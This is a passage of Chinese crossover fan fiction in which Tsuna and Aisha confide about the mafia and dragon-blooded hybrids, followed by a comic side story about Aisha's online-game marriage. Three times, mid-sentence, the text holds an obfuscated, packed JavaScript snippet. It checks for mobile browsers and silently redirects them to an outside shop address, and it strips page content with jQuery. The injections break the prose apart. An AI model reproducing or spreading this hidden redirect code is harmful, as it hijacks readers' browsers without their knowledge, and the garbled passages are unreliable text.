这时视频正好进行到他衣衫爆裂高举双拳仰天嘶吼的画面。监控录像是没有声音的,如果有声音说不定还好一点。老实说这幅场景再联系上他的动作,比起“复活!拼死也要打倒桃巨会!”更像在说什么“快看我的四角内裤不光是红底还画满黄色爱心喔!”这样的变态发言…… 这已经不是黑历史的程度了,当年他到底是怎么做到用这种形象在并盛街头狂奔而且还不被转头扭送到警局去的啊! 沢田纲吉脑中涌起惊涛骇浪般的吐槽。 肩头一沉,是艾莎正伏在他肩膀上擦刚才笑出来的眼泪——看到视频中他压低身体一个灵活(且赤.裸)的大雁展翅后她又陷入了新一轮猖狂而无声的爆笑之中。 他原本颇有些羞恼。可是见到女孩在他肩膀上蹭来蹭去的样子,沢田又感到现有心情中“恼火”的部分就这么被她全部擦掉了。再开口时就只剩下一句意味不明的抱怨: “真是的……为什么十年前的监控画面会这么清晰啊……” 他的棕发软蓬蓬的垂落下去,周身气质不复平日里的温和沉稳,好像一瞬间又变回了那个总是一脸沮丧、自认倒霉的少年。 这是艾莎之前从未见过的、沢田纲吉的另一面。 “不会、”她拼命摇头,显示自己刚才的狂笑中并不带有恶意,“十年前的纲吉君很可爱。” “……不,艾莎,这种画面怎么样都和‘可爱’沾不上边吧。”他诚实槽道。视频中的他正翻着三白眼疯狂殴打某个背地偷袭的光头混混,刚才隼人和阿武的行为和这个比起来简直是小巫见大巫。 “没有的事,就是很可爱!”她笃定地说道,“纲吉君当时还在上中学吧?谁都有中二的年纪嘛,我以前还老喜欢在收刀的时候喊石川五右卫门的经典台词呢……说起来纲吉君那会儿是在模仿日本的什么相扑传统么?” ……误解了!因为知识误区和文化差异的关系所以她完全误解了!而且还顺带曝了她自己的黑历史……这种时候要怎么办才好?是解释死气弹的原理还是干脆顺势认下自己曾是个中二的相扑爱好者什么的!? 艾莎的安慰让沢田脸上的痛苦面具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658804|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愈发痛苦。 然而当务之急不是这个! 这么想着,他毫不犹豫地点击了屏幕右上角那个小小的垃圾箱标志。 二次确认删除的按键近在咫尺。沢田纲吉的手指在其上停留一阵,这一回却又怎么都按不下去了。 那段视频仍在后台播放,只不过整体变成了更为灰暗的颜色。屏幕中隼人与阿武就站在他身后,三个人组成一个密不可分的三角阵型。他们脸上都洋溢着某种少年人特有的、无忧愁的明媚朝气。 “……那时候真的很开心,大家一直都待在一起。”他喃喃道,声音轻得像是说给自己听。 总觉得现在删掉这个视频的话,就好像是把那些往日时光也一同删去了一样。 “现在不是这样了么?”艾莎问道。 听到她的声音,沢田纲吉轻轻“嗯”了一声,又解释道: “彭格列的势力范围很大,所以守护者一般都分布在世界各地,现在只有新年或者家族遭受重大危机时才会聚齐了……不过后者这样的情况还是不要有才好。一般常在总部的只有一两位而已。” 云雀前辈不用说,当然是长居日本;大哥则常年待在美洲;阿武行踪比较机动,时常根据需要满世界执行任务;蓝波在不久前开始着手波维诺家族的继承工作,也从本部搬了出去。 “……库洛姆的话,艾莎在最开始就见过了。还有隼人,他也是几天前才从米兰出公务回来,艾莎还记得他么?你们昨天打过照面。” 艾莎当然记得那个名叫“什么什么隼人”(日本人的姓氏实在拗口,她依然只记住了发音更简单的名字)的银发男人。在沢田介绍他们认识的时候,男人看她的表情分外奇怪,冷淡中透露出某种质疑、不耐与隐隐的敌意。 她觉得他要不然是对沢田抱有什么非同一般的情感,要不然就是她曾经冲嘴巴大张的他丢出过五百只蟑螂,导致他一口气全部吞咽了下去。 “除了守护者以外,还有碧洋琪、风太、一平,还有……”沢田顿了顿,不着痕迹的把未尽的话语省略了,“那时真的很开心,还以为日子会一直就那么过下去。” 可一转眼他已身在巍峨矗立的彭格列总部,与平静喜乐的故土万里之隔。 地理位置所产生的距离在现代社会或许不值一提。然而一些其他意义上的裂缝一旦产生,便是无论如何也无法修补的了。 望着沢田再度黯淡下去的暖棕色眼睛,艾莎突然想到了先前乌鸦所提过的、有关日本的组织文化。 ——彭格列也是庞大的组织,又因为里世界的特性,一举一动都牵连着无数人的性命。同为日本人的纲吉君,是否也在潜心维系组织运转的同时,拼命地压抑忍耐着什么超出范围的痛苦呢? “…纲吉君现在不开心么?”她低声问道。 今晚的他与往常不太一样,就像是卸去了厚重的、彭格列十代目的外壳,露出了其里柔软又脆弱的一面。 46. 第46章 月色 “不。”沢田先是很快给出了否定的答案,接着又陷入沉默。 “…非要说的话,大概是时常有两个念头在脑袋里打架吧?”他轻声道。 能以如此坦然的态度说出这句话,连他自己都吃了一惊。 他偷偷看向身侧。对于这句话,女孩既没有表现出讶然也没有显露出悲哀,只是神态很认真地倾听着。黑暗中她侧脸的轮廓静美而柔和。 沢田纲吉没来由地松了一口气,同时又感到不可思议。 和艾莎待在一起的时候总是很轻松很自在,好像什么话都可以向她吐露。 是因为她并不属于Mafia世界的缘故么?可有时又觉得并不仅仅是这样。 此刻,那些一直以来藏于心底、甚至于那些连他自己都尚未完全察觉的想法,便自然而然的一起从口中溜出去了。 “我以前一直很抗拒里世界的事——无论是成为Mafia也好、继承家族也好,对于当时的我来说,都太过遥远和不切实际了。所以那时候老把‘我才不要当彭格列Ⅹ世呢!’之类的话挂在嘴边。”沢田露出一个怀念的笑来。 “但说归这么说。我想即便是现在,我也从来没有为成为‘彭格列十代目’这件事而真正意义上的感到后悔过。”他低头望着右手中指的大空指环,“‘彭格列’赋予我的不只是责任而已。如果不是这份因缘,我不会遇到大家;如果不是大家全力支撑着我,我是无论如何也走不到今天的。” 听到他的话,艾莎心里微微一动。纲吉君并没有特意解释自己口中的‘大家’是谁,想必在他心中,这个词语是有明确指向的吧?是对纲吉君来说,非常非常重要的、不可替代的那么一群人。 他们共同组成了纲吉君记忆里最快乐的那段时光……她不曾参与的一段时光。 这么想着,艾莎突然感到一阵说不清缘由的郁闷。她赶忙收敛心神,继续专注于沢田的讲述。 “成为Mafia并不是一件儿戏的事。但是无论欢乐也好、痛苦也好,只要是与伙伴待在一起,对我来说都是最最宝贵的时光。只要是能继续延续与大家相处的时光,那么要我付出什么都可以。”沢田轻声道,“这是我在继承彭格列以前就做好的觉悟。” “可是真正开始处理家族事务后才发现,最艰难的并不是付出或者牺牲自己,而是目睹他人做出同样的事;最难打倒的敌人也并不像游戏关卡那样,是某个特定的强大个体,而是更为无形更为恐怖的东西。” 像是想到了什么,他的右手不自觉地攥成了拳头。 “艾莎会这么寸步不离地守着雅纪,其实是因为自责吧?因为当时他拉动拉环的时候,你下意识推开了他。” “……嗯。”艾莎目光闪动一下,但还是低声道,“如果不是纲吉君,这孩子现在不会活着。” 沢田微微摇了摇头,“我会那么做,是因为以前遇到过同样的事。” 他的眼底出现某种秋雨般的苦痛,绵密冰冷,不可断绝。 “……第一次遇到的时候,我做了和艾莎同样的选择。” 他本能的用火焰形成屏障保护了自己,等反应过来的时候已经来不及了。 那是何其惨烈、无谓的牺牲。 然而就是这样血腥的场景,于里世界也不过是一件“刺杀彭格列Ⅹ世失败”的“小事”而已。 类似的事件层出不穷。曾经的继承考验上,彭格列历代Boss所向他展示的、所谓“彭格列的罪孽”只是冰山一角。 “我能为了同伴付出自己的一切,但并不是做什么都可以。我的力量是为了守护大家而生,如果要我用它去伤害无辜的人,那这力量不要也罢。直到今天我仍然是这么想的。”沢田纲吉缓缓地说,随即露出一个苦笑。 “……可是现在,大概也无法说出‘从未伤害过无辜的人’这样的话了吧?” 他可以不做违背本心的事,但面对巨大的权力总有人迷失癫狂。 长大以后的世界不存在绝对完满的happyending。 取舍取舍,所做出的每个决断总是有取就有舍。 明明也曾说过“那样错误的彭格列就由我来摧毁!”、明明也曾做出过相应的觉悟,可到了最后,最妥帖的做法居然就只有继续站立在权力顶峰,用绝对的强权镇压一切无意义的‘恶’。 彼时考验他的历代首领,是否也都觉得他的豪言壮语太过天真呢? 而被他的那番话打动并给予认可的Ⅰ世,看到现在的他,又是否会感到失望呢? 沢田纲吉长久地凝视着中指的大空戒指,眼中堆积着灰烬般的茫然。过了一段时间他才意识到自己过于沉浸在自身思绪当中,于是用一种相当自暴自弃的语气道: “是不是很肮脏?” 无论是里世界本身,还是行走在里世界的人。 “嗯,是挺肮脏的。”艾莎应道。 她一边这么说着,一边倾身握住了他的手。沢田的手很温暖,只有指环上的那块宝石冷冰冰地磕在她的掌心。 “但纲吉君并不是一个肮脏的人啊。” 闻言,沢田轻笑了一声,好像在说“谢谢你的宽慰。”这种笑本身就包含有一种不赞同的意思。 她并没有对沢田的敷衍表示抗议,只是道: “不过纲吉君有一点说错了。我会一直待在这孩子身边,并不仅仅因为自责而已。” “我看了拉尔夫的资料:毕业于德国,之后进入一家神秘的研究所——乌鸦搜集的情报并不全面——那家研究所就是我和校长烧掉的地方。我只要看一眼就知道了,这个孩子和我经历过同样的事。看到他,就像看到曾经的我自己。” 艾莎把脸轻轻贴在沢田肩上。 “可纲吉君以为我守在这里是为了保护他么?”她低声道,“我只是在等他醒来。我在想他有没有因为那些乱七八糟的实验而失控。如果他醒来后变成了死侍那样的东西,那么我该赶在他伤害其他人之前杀了他。我想着这些,甚至于现在也不敢叫这孩子的名字。叫了名字就好像我已经认识了他。如果我认识了他,到时会不会下不去手呢?” 她所在的世界单纯且复杂。就如《亚伯拉罕血统契》上写的那样,永远站在人类一方,任何试图伤害人类的混血种都该被毫不犹豫地抹除。 “如果我真的杀了他,大概会被纲吉君讨厌吧?”她干巴巴地笑了一下,“可混血种的世界就是这样。” ——无论他是不是个孩子,无论他与你有多相似,只要他的神志被龙血吞噬他就不能再被作为‘人’来看待。你该杀了他,用刀用牙齿用指甲。 龙血就是这么操.蛋的东西,是一切混血种悲剧的源头。 可心里还是那么不甘心,尤其在听了源家家主的故事以后。 ‘血的悲命’是么?只要身体里还流淌着龙血,悲哀的宿命就无法断绝是么? 可这孩子所经受的一切,难道仅仅是因为他的血统么?难道不是因为一个不靠谱的母亲以及一群更操.蛋的大人么? 如果她在这里杀了他,是在向什么狗屁“宿命”屈服么?是在向那些操.蛋的人渣屈服么? ……而一直以来,在她还在用“鳃”呼吸的那段时光里,她又究竟对这令人作呕的现实屈服过多少次呢? “怎么样,和Mafia的世界相比,混血种的世界是不是也挺烂的?”她以一种开玩笑般的口吻说道,同时又无意识地紧了紧与沢田交握的那只手。 “可这就是我身处的世界——纲吉君会觉得身在这种世界的我很肮脏么?” 当然不会。沢田纲吉在心里想道。 而就在他得出这个答案的同时,他也明白了她的意思。 一直以来,他们对彼此所抱有的心情都是一样的: ——如果他不会因为混血种的事而感到艾莎肮脏,那么艾莎当然也不可能因为Mafia的事而觉得他肮脏。 ……并且如果听到对方一直这么妄自菲薄,大概会感到生气和难过吧? 沢田纲吉有些无奈地弯了弯唇。 然而还没等他开口,艾莎就好像根本不想听到他的回答般,迫不及待的抢先一步了: “当、当然,如果纲吉君的确觉得我很肮脏的话!那我也觉得纲吉君很肮脏!”她非常幼稚地说道,“——那样我们就只是两个脏兮兮不喜欢洗澡的好朋友,谁也别嫌弃谁啦!” “不、艾莎……” “不要!先听我说完!” 好歹给他一个认真回应的机会啊……被强行打断的沢田相当不情愿地闭上了嘴巴。 “并且之后,如果有必要的话,我们这两个脏兮兮的家伙还要一起做一件大事!”她抓着他的手不放,一鼓作气地继续道,“——我们要把这个孩子、这个叫雅纪的孩子救下来!谁想杀他都不行——就算是死神亲自来也不行!” 这个名叫雅纪的孩子与拉尔夫有关,与【game】有关,与Mafia有关,与混血种有关。 沢田先前说的没错,这件事牵连太广,早就不存在什么她被沢田所处的里世界牵扯、或者沢田被她所在的混血种群体拖累的问题了。 这么复杂的事算也算不清。她本来也不是一个爱动脑子的人,这种时候只要遵循内心深处的想法就够了。 ——她不想让村上雅纪死去。 既不想当杀掉村上雅纪的人,也不想当坐视他死掉的人。 那么,就只能当救他的人。 “这件事少了我们中的任何一个都不行。”她认真地看着沢田,“怎么样,纲吉君要和我一起救下他么?” 沢田望着她,目光沉沉。虽然他很久都没有说话,但艾莎莫名感到此时此刻,他并不是在思量权衡这件事本身。 “好。”良久后,沢田纲吉轻而郑重地点了头。他的眼神非常坚定,几乎透露出一股少年人才会有的执拗意气来。 “——我们一起救下他。” -- 在这之后,艾莎终于把一切都和盘托出。 其实在【game】结束的那天夜里,她就已经透露了混血种的大部分信息。现在剩下的不过是一个直接的‘真相’而已。 “龙……么?”沢田纲吉有些迟疑地重复一遍。 坦白来说,即使得知了‘绿巨人’的真面目,他依然无法产生多少实感。以他的认知,这二者都是虚构作品里才会出现的东西,与现实有着不可逾越的屏障。 可惊讶归惊讶,艾莎不会骗他。沢田纲吉的脑子转得不慢,很快就将这完全陌生的种族与在病床上昏睡的孩子联系起来。 “那么雅纪的眼睛……?”他征询似的望向艾莎。后者先是动作一顿,继而点了点头。 “龙曾是地球上的主宰,仅凭凝视就可以使其他一切生物臣服。那种威压通过基因一代一代的流传下来。混血种继承了这一特性,通过唤醒体内的龙血,我们的眼睛能变成金色。我们把它称作‘黄金瞳’。”她轻声解释道,同时刻意低下了头,并不与沢田对视,“雅纪的情况比较特殊,他似乎无法自主控制黄金瞳,这通常意味着血统已经濒临失控。” “被黄金瞳凝视的话,有的普通人会瞬间失去反抗能力……虽然我也不知道掌握死气之火的纲吉君能不能算普通人。”她含糊地嘟囔一句,“看到雅纪的眼睛时,纲吉君有觉得害怕或者不舒服么?” 沢田纲吉回忆了一下当时看到那双金色瞳孔时的感受,但他并未直接回答,而是道,“艾莎也有‘黄金瞳’么?” “有的有的。”她飞快地说,“说起来时间已经不早了,纲吉君还不去睡么?” 见沢田露出一个无奈且坚持的笑,她便又咬咬嘴唇,不情不愿地咕哝一句“开玩笑的。” “……纲吉君之前说过吧?你曾在洛克首领那里见过类似拉尔夫喝下的药物。” “是。”沢田应道,“具体的成分科研部还在比对当中,但是从液体的颜色与试管形制来看,应该就是一样的东西。” “…拉尔夫进行的是禁忌的研究。如果乌鸦所说不差、并且那种药物真的已经开始在Mafia间流通,那么纲吉君大概也要做好与带有龙血的敌人战斗的准备。”艾莎低声道,既像是在告诫沢田,又像是在劝慰自己。 良久后,她终于轻吐出一口气、下了最终的决心。 “……纲吉君要看看么?”她轻声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658805|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问,“所谓的‘黄金瞳’。” -- 得到肯定的回答后,艾莎便阖上了眼睛。当她再抬眸的时候,双瞳就已换了颜色。 与雅纪那种浑浊的暗金色不同,她的瞳孔是更为明亮的赤金色,在黑暗中波光流转,仿佛太古徐徐流淌的岩浆。 透过这双眼睛,“龙”的存在感前所未有的强烈起来。 这个已经湮灭在过去的种族似乎正通过艾莎的眼睛冷冷凝视他,虚空中它们的影子高大神秘,古奥森严。 这样直接的对视仅仅持续了一秒。一秒过后,艾莎便垂下眼帘,主动避开了他的视线。 “…其实比我想象中好,我还担心纲吉君会不会大叫一声‘妖怪’然后直接进入超死气模式把我揍上天什么的……”她有点木木地说。 “……怎么也到不了那种程度吧?”他有些过于正经地反驳。 “这是最坏的猜测啦。其实纲吉君的反应和我想象中差不多,”她说,“就是现在这样,没什么特别大的反应。如果我说话也还是会好好的回应我,努力装作没有异常的样子。” “但是果然,还是会害怕吧?”艾莎轻声道,“……纲吉君不用刻意隐瞒的,不回答我也不要紧。也不用自责。我血统算高的,黄金瞳的压迫力大概也比一般的混血种高一些……” 糟糕。 艾莎还在不停地絮叨。他听着她的重点一路从“这并不会影响我们之间的关系”小演讲跑偏到“用死气之火杀掉点燃黄金瞳的混血种”的一百种建议。 可是糟糕,即使到现在他还是连一句像样的话也说不出来。 陷入无言的同时,内心油然而生的是一种慌乱。 艾莎说这件事并不会使他们的关系产生变化,可是骗人,明明就会有变化。 即使现在靠得这么近,即使他们的手还交叠在一起,沢田纲吉也能感到两个人之间的距离正在无形中拉远,就好像凭空多出一道天堑般的鸿沟。 必须说点什么才行。 但什么也说不出来。他的语言系统乃至于思维似乎都陷入了一种混乱,嘴巴无法表达出内心的想法,只是难看的沉默着,沉默着看她独自维持平静、竭力不露出伤心的表情来。 阔别“废柴纲”这个绰号已经十年之久。但是今天,沢田纲吉再一次感到自己搞砸了一切。 他用最快的速度平复了因世界观出现裂缝而产生的巨大震惊。可还是太迟了,另一边艾莎也开始收尾,正用“时候不早了纲吉君快去休息吧”作为结语。 必须说点什么。 依靠着在谈判桌上练就的机敏,他的脑中闪过无数种方案——真诚的、虚伪的、温柔的、狡猾的…… 可沢田来不及谨慎琢磨。就仿佛电影慢镜头般,艾莎正将她的手从他掌中缓缓抽离—— 凭借本能,他牢牢反握住了女孩的手。 “——那么艾莎要被我骗么?” 明明有那么多种方案。然而最终,沢田纲吉偏偏说出了这么一句堪称无赖的话。 “……欸?”艾莎有些吃惊地望向他,像是不明白他的意思。 “如果我说黄金瞳一点也不可怕,艾莎大概不会相信吧?”来不及细想,沢田纲吉只是认真地注视着她的眼睛,“同样的,如果我说我承认黄金瞳有些恐怖,但如果是艾莎的话,我并不感到害怕——艾莎也一定认为我在说什么漂亮的空话吧?” “那么就当我是在说假话好了——如果我说我知道自己认识的是艾莎这个人,无论她的眼睛是什么颜色、身体里流淌着怎样的血液,都无法改变我对她的看法。在我心里,她一直都是个善良、干净、温柔的人,对我来说也是非常重要的人——如果我说的是这样的假话,艾莎要被我骗么?” 女孩的眼睛缓缓睁大。 不同于刚才的惊鸿一瞥。现在那双赤金色的瞳孔在他面前完全地打开了——恐怖、瑰丽,在黑暗中显示出一股妖异的美。与之对视时是灵魂深处也会感到颤栗的程度。 然而也就是在这双眼瞳之中,他清楚地看见了惊讶、震动、犹疑以及对好意全然的不知所措。 心蓦地安定下来。这一次,他确信眼睛的主人仍是他认识的女孩。 在等待女孩的回答时,他仍然没有放开她的手。 “……可恶,作弊、纲吉君的这种说法根本是作弊嘛!”艾莎嗫嚅半天,也只蹦出这么一句不像话的吐槽来而已。 她知道,即便掌握死气之火,面对黄金瞳时该有的感受也一样都不会少。德维尔家族那些被塞进莫斯卡里的高层就是最好的例子。 所以沢田纲吉骗她; 况且混血种与非混血种间的鸿沟才不是那么好跨越的——贞德是例子,源家家主是例子,她妈妈也是例子。 所以沢田纲吉在骗她; 还有刚刚的那一瞬间,他的身体分明僵硬了,甚至因为感受到危机而本能地绷紧。 所以沢田纲吉绝对是在骗她。 “……我才不信纲吉君说的话,纲吉君在骗我。而且还是用一种相当阴险狡诈的方式。”她虚弱地攻击道,“没想到纲吉君居然是这么阴险狡诈的家伙!” 手机屏幕的光早就因长时间没有操作而熄灭了。 这时房间里除了那些星星点点闪烁着微光的医学仪器外,便只有窗外月色轻缓地笼罩住他们。 沢田纲吉那双暖棕色的眼睛仿佛也被月色浸染,变得深沉蛊惑。 “嗯,我在骗艾莎。”他就这么坦然地承认了,反而让人分不清他现在说的是真话还是假话。而且不要说恐惧了,从他现在的神态间,就连一丝一毫对她的抵触都找不到。 然后第三次,他问出了相同的问题,声音比前两次来得都要低醇温柔,就像某种引诱。 “那么艾莎,要选择被我这个阴险狡诈的家伙欺骗么?” 沉默。这沉默仿佛很久,又仿佛只有短短一瞬而已。 “……要的。”最终,她听见自己这么小声说道。 “如果纲吉君能够一直保持像现在这样的‘演技’的话——那我被骗根本是无可奈何的事情了。” 这么说着,她紧紧回握住了他的手。 47. 番外 东京面基 1.万恶之源 四小时前,路明非接到临时通知:他被执行部安排了实习任务。 任务内容:未知 任务级别:SS 任务地点:东京。 2.气氛 斯莱布尼尔号是校长爱物。经过装备部门的改造,这架湾流G550的速度被强化到极致,从芝加哥飞抵东京只需6个小时。 路明非看看客舱前排坐着的两名搭档。一个自登机开始就神情严肃地浏览着什么文件,嘴里叼着根Cohiba古巴雪茄;另一个则静静闭目养神,双手抱着一柄漆黑的长刀。 从起飞到现在的一小时间,两人的交流就没超过两句话。摆出来的阵势可以说是成熟的大人各忙各的事,也可以说是显露一种对彼此嗤之以鼻的藐视之情。 路明非心里纳闷校长到底是出于什么样的险恶用心才把这两人编进一个组里。 虽说大家目标都是屠龙,但他深切怀疑凯撒与楚子航抛下恩怨精诚合作的可能性。 哪怕他们什么都不做,只是像现在这样身处同一密闭空间里,气氛也僵冷如两大高手悬崖对峙,不知道下一秒是不是就会双双拔刀砍作一团……不过好在要忍受这种崎岖气氛的并不止他一个人。 路明非又看看自己对面。小师妹正捧着游戏机盘腿坐在豪华的皮质座椅上,她看起来专心致志,嘴角洋溢着一抹幸福的微笑,俨然一副沉浸在另一个世界的忘我模样。 路明非:…… 可恶啊,早知道他也带个游戏机来玩了。 3.飞机上可能进行的话题 如果这次的组员只有凯撒与楚子航,那么凯撒绝不可能是先开口的那个。主动抛出话题是一种退让的表现,凯撒·加图索绝不可能对着楚子航让步,就像狮子不可能向老虎示弱。 然而这次的小组里还有两个师弟师妹。这时缓和气氛会显示出他比楚子航更具领导才能,凯撒当然不会放过任何压过楚子航一头的机会。 凯撒:“这次的组员分配很平均。” 两个S级,两个A级,放眼整个学院也是最顶尖的配置。凯撒喜欢一切顶尖的东西。 况且在这样的配置下担当组长,他心里感到十分满意。 楚子航:“我不觉得平均。执行部不该选派大一大二的低年级学生执行任务。” 楚子航的本意同样是缓和气氛,如果他不回应就显得他对凯撒的话不屑一顾。 可当他冷冰冰说话的时候总有种一本正经较真抬杠的既视感。凯撒当即眉头一皱。 “是啊我也觉得不平均!”路明非赶在气氛再度剑拔弩张前和起稀泥,“虽说两个学生会的两个狮心会的,但师兄带的是萌妹老大你带的是糙汉啊!咱学生会可不能落人一乘,我申请现在返航,从白裙少女团里层层甄选同等级萌妹替我出征!” 他一脸义正言辞。凯撒看了默默捂脸:带这么个夯货出来的确是有损学生会颜面…… “二师兄此言差矣,”小师妹边噼里啪啦按键边道,“现在学院只有我们两个S级,你一走就变成三A一S了。要我说我们现在返航,凑四个A级出来——炸.弹!” “还炸.弹,当初就不该教你玩斗地主。”路明非说,“还有别叫我二师兄,你才二师兄你全家二师兄。” “不我说的是游戏里的道具来着……”小师妹思维十分跳跃,“不过要是斗地主有四个A我肯定拆成对子打!” “你这得分情况……”路明非恨铁不成钢。 烂话越来越多,话题越扯越远。凯撒和楚子航都默默闭上了嘴。凯撒心说你俩不愧是师出同门,一张口画风就从严肃紧张的行前动员一路跑偏到什么搞笑版本的西游记上。 不过气氛的确比刚登机时活络不少。目的达成,他继续专注于索斯事务所发来的婚礼安排,一旁的楚子航也重新抱着长刀闭目浅眠。 直到艾莎在附和路明非时说出这么一句话: “——是挺突然的。本来下周是我结婚纪念日来着。学院就是这点不好,突发状况太多了。” 此言一出四周寂静。 路明非的嘴张成了O型; 凯撒的雪茄掉到了膝盖上; 楚子航睁开了眼睛。 4.婚姻 作为一名半只脚迈入婚姻殿堂的准新郎,凯撒一直觉得同组的三个人都是小屁孩。每个迈入人生崭新篇章的人都会这么想,就像大学生回首看高中生,也会觉得那群没经历过高考的家伙全是小屁孩,哪怕他们之间的年龄差只有一岁。 并且凯撒觉得这三个人可能会当一辈子的“小屁孩”。平心而论仨人长相都不差,但一看就不是谈情说爱的料子。 “等等小师妹你刚刚若无其事地说出了多恐怖的话啊——你结婚了?什么时候结的?校长知道么?”路明非惊恐地顿了顿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658806|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……新郎还活着么?” “是游戏里那个么?”楚子航这时候问,似乎对此早已知情。但说完他就立刻闭上了嘴,快得像被什么毒刺蛰了一下。 路明非心里微微一动。虽然同在狮心会,但楚子航与艾莎没什么来往。他要是知道什么关于艾莎的事,大概率都出自某个曾与她关系很近的女孩……某个被埋葬在北京尼伯龙根深处的女孩。 “对的。”艾莎说。她没问楚子航是怎么知道的。 “是小师妹你现在在玩的这个么?”路明非像是突然来了极大的兴趣,“给我看看给我看看。” 5.游戏 小师妹玩的这款游戏路明非以前就听说过。差不多是在两年前由日本最大的游戏公司出品,一经发行便火爆全球。由于要购置专门的游戏机,他那会儿没机会玩上。 高中同班的赵孟华就有一台,据说他在上面认识了很多外国友人,说各种语言的都有。当时在班上可谓人人称羡,风光一时。 现在一拿到游戏机路明非就乐了,他看着屏幕上的两个游戏角色问道:“哪个是你?” “左边那个,‘芝加哥斩铁剑’,和我学校论坛id一样。”小师妹说。 她的角色属于巨人种族,虽然性别为女但没什么女性特征,脸上甚至长了一圈茂盛的白胡子,穿着皮草拎着巨锤,看起来那叫一个威武雄壮。 “那右边这个是?”路明非把id念出来,“TUNA?吞拿鱼?” 这两年路明非其他方面的英文没长进,但食物相关的跟着芬格尔点夜宵时学了不少。 “‘吞拿’是谐音,更广泛的名称是金枪鱼。我已经通过MINT预定了龙吟的晚餐,听说那里有全日本最好的蓝鳍金枪鱼。日本人又叫它‘鲔鱼’。”凯撒不忘卖弄一下自己关于日本的知识,“说起来这个鲔鱼君就是小师妹游戏里的结婚对象么?” “准确地说,日本人把金枪鱼称为鲔鱼是因为当时遣唐使的错误翻译。在中国,鲔鱼原本指代的是鲟鱼。”楚子航严谨地纠正道(凯撒冷冷地看了他一眼),“学妹是在和金枪鱼网恋么?” “喂喂越说越过分了,TUNA君已经一路被开除人籍变成金枪鱼了啊!”路明非为小师妹主持正义,“所以小师妹你和金枪鱼到底什么关系?快从实招来!” 舱内气氛一下子快活起来。三个人齐刷刷看向艾莎,六只眼睛闪烁着明亮的八卦光彩。 48. 番外 东京面基 6.TUNA其人 三位师兄都是逼供好手,小师妹很快招架不住。 据小师妹说,TUNA是她在游戏初期结识的好友,属于矮人族,游戏里的形象十分肥软,身高只到巨人族的大腿。TUNA现实里似乎很忙,三天两头才上一次线。 后来游戏开放了结婚系统,夫妻共享家园和组队加成,奖励也很丰厚。但不知道为什么,她一直找不到结婚对象(“不,原因什么的从你的游戏外观上一览无余啊。”路明非说)。 再后来,她偶然在野外遇见许久不上线的TUNA。当时他正被一群高等级野怪围殴,她果断抡起巨锤英雄救美。最后站在一地血淋淋的尸体中间,顺手就点了个求婚。 TUNA一直没反应,直到申请即将消失的最后一秒才点了同意。 真是好险,还以为又要被拒绝了(“这要能拒绝才怪咧!拒绝的下一秒就会被你抡起锤子砸成肉泥吧!那群怪物就是前车之鉴啊!”路明非再次说)。 TUNA是完美的结婚对象(恺楚路三人表情十分微妙)。她和TUNA都没办法保证每天上线。好在游戏里夫妻活动共享,再加上他们的上线时间经常错开,各自又都是肝帝,每次奖励居然可以拿个七七八八。真是再好不过了。就这样,他们的婚姻关系已经持续了快一年,下周就是她和TUNA的结婚纪念日了。 小师妹停止叙述。 三位师兄意犹未尽。 7.否认 “那你们面过基么?或者看过照片没有?TUNA他长什么样啊?”路明非以过来人的身份传授经验,“现在网上P图可多了,你小心上当受骗。” 小师妹不为所动。 “我和旦那是在游戏结婚了没错,但我们只是互相黑材料的好伙伴啦。”她说,“并不是什么网恋,我们也从来不聊现实的事。游戏是游戏,现实是现实。二师兄这一点上你好歹信我,我分得很清的!” “哦。你耳朵红了。”路明非说。 小师妹条件反射去摸耳朵。 “切,暴露了吧!” 路明非一脸奸猾。看她玩游戏时候的表情他就觉得不对劲! “……唔!” 小师妹双手捂脸。 8.小师妹对TUNA “可是真的不是网恋!”小师妹试图垂死挣扎。 “旦那……是个很温柔的人嘛。”她的声音越来越小,“只是以前没有遇到过这样性格的人,所以最开始就有点好奇……” 路明非“嘿”了一声,“温柔不就是脾气好?那我脾气也好啊,怎么不见你暗恋我?” “旦那和二师兄才不一样呢!” “喂喂,有必要用这种女高中生嫌弃老爹的语气说出来么!?”路明非有点受伤。 凯撒心说你又不是她老爹。她老爹要是真在这儿,这会儿诺玛就该全世界排查TUNA真身,然后可怜的金枪鱼君某天下班回家,被一老头携时间·零活生生剐成刺身…… “那你说说,这个TUNA在游戏里怎么对你温柔了?”路明非恶声恶气。 “这种怎么可能一问就想得出来啊!”小师妹立即抗议。 过了一会儿,她有点不好意思地低下了头。 “……小星星。”她说,“有时候在野外组队,我喜欢到处乱跑,旦那就会在我头上标一颗小星星。” 她的手在头顶囫囵比划了一下,垂着脑袋越说越小声。 “他说这样就不会找不到我了。” 小师妹眸光潋滟两颊排红。 